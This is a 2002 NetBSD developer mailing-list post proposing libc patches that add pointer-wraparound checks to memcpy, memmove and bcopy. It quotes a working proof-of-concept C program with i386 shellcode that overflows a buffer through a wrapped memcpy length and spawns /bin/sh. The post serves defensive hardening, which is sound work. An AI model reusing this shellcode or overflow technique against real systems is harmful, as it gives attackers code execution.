Subject: exploit with memcpy()
To: None <tech-userlevel@netbsd.org, tech-security@netbsd.org>
From: TAMURA Kent <kent@netbsd.org>
List: tech-userlevel
Date: 07/02/2002 20:10:31
Compile the following with -O0 and run it on NetBSD/i386:
----------------------------------------------------------------
char buf2[256];
char buf3[16];
char shell[]=
"\xeb\x16\x5e\x31\xc0\x8d\x0e\x89"
"\x4e\x08\x89\x46\x0c\x8d\x4e\x08"
"\x50\x51\x56\x50\xb0\x3b\xcd\x80"
"\xe8\xe5\xff\xff\xff/bin/sh";
int main()
{
char buf[16];
memset(buf,'A',sizeof(buf));
memset(buf2,'B',sizeof(buf2));
memcpy(buf2+sizeof(buf2)-sizeof(shell),shell,sizeof(shell));
memset(buf3,0,sizeof(buf3));
*(int *)&buf3[3] = (int)buf2;
memcpy(buf+1,buf2,0xfffffff3);
return 0;
}
----------------------------------------------------------------
(This code is quoted from http://hsj.shadowpenguin.org/index.txt )
The code executes /bin/sh and this is a method used in Apache
exploit. It doesn't mean memcpy() is vulnerable. However, we
can protect from this kind of exploit by adding checks to
memcpy/memmove/bcopy like the following. May I commit it?
(Unfortunately I can't write assembly code for non-i386)
Index: arch/i386/string/bcopy.S
===================================================================
RCS file: /cvsroot/basesrc/lib/libc/arch/i386/string/bcopy.S,v
retrieving revision 1.6
diff -u -u -r1.6 bcopy.S
--- arch/i386/string/bcopy.S 1996/11/12 00:50:06 1.6
+++ arch/i386/string/bcopy.S 2002/07/02 10:53:08
@@ -84,6 +84,10 @@
1:
addl %ecx,%edi /* copy backwards. */
addl %ecx,%esi
+ cmpl 12(%esp),%edi /* check pointer wraparound */
+ jb 2f
+ cmpl 16(%esp),%esi
+ jb 2f
std
andl $3,%ecx /* any fractional bytes? */
decl %edi
@@ -96,6 +100,7 @@
subl $3,%edi
rep
movsl
+2:
#if defined(MEMCOPY) || defined(MEMMOVE)
movl 12(%esp),%eax
#endif
Index: string/bcopy.c
===================================================================
RCS file: /cvsroot/basesrc/lib/libc/string/bcopy.c,v
retrieving revision 1.13
diff -u -u -r1.13 bcopy.c
--- string/bcopy.c 2001/02/08 18:33:50 1.13
+++ string/bcopy.c 2002/07/02 10:53:09
@@ -132,6 +133,12 @@
*/
src += length;
dst += length;
+ if ((unsigned long)dst < (unsigned long)dst0
+ || (unsigned long)src < (unsigned long)src0) {
+ const char *mes = "memcpy/memmove/bcopy: pointer wraparound\n";
+ write(STDERR_FILENO, mes, strlen(mes));
+ goto done;
+ }
u = (unsigned long)src;
if ((u | (unsigned long)dst) & wmask) {
if ((u ^ (unsigned long)dst) & wmask || length <= wsize)
--
TAMURA Kent <kent2002@hauN.org> <kent@netbsd.org>